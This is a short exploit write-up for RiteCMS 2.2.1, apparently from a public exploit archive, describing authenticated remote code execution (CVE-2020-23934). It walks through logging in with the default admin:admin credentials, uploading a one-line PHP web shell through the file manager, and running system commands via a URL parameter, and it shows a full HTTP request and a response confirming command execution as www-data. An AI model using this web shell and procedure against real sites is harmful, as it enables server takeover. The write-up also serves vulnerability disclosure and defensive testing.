RiteCMS 2.2.1 – Authenticated Remote Code Execution
# Exploit Title: RiteCMS 2.2.1 - Authenticated Remote Code Execution # Date: 2020-07-03 # Exploit Author: Enes Özeser # Vendor Homepage: http://ritecms.com/ # Version: 2.2.1 # Tested on: Linux # CVE: CVE-2020-23934 1- Go to following url. >> http://(HOST)/cms/ 2- Default username and password is admin:admin. We must know login credentials. 3- Go to "Filemanager" and press "Upload file" button. 4- Choose your php web shell script and upload it. PHP Web Shell Code == <?php system($_GET['cmd']); ?> 5- You can find uploaded file there. >> http://(HOST)/media/(FILE-NAME).php 6- We can execute a command now. >> http://(HOST)/media/(FILE-NAME).php?cmd=id (( REQUEST )) GET /media/(FILE-NAME).php?cmd=id HTTP/1.1 Host: (HOST) User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://(HOST)/cms/index.php?mode=filemanager&directory=media Connection: close Cookie: icms[device_type]=desktop; icms[guest_date_log]=1593777486; PHPSESSID=mhuunvasd12cveo52fll3u Upgrade-Insecure-Requests: 1 (( RESPONSE )) HTTP/1.1 200 OK Date: Fri, 06 Jul 2020 20:02:13 GMT Server: Apache/2.4.43 (Debian) Content-Length: 14 Connection: close Content-Type: text/html; charset=UTF-8 uid=33(www-data) gid=33(www-data) groups=33(www-data) |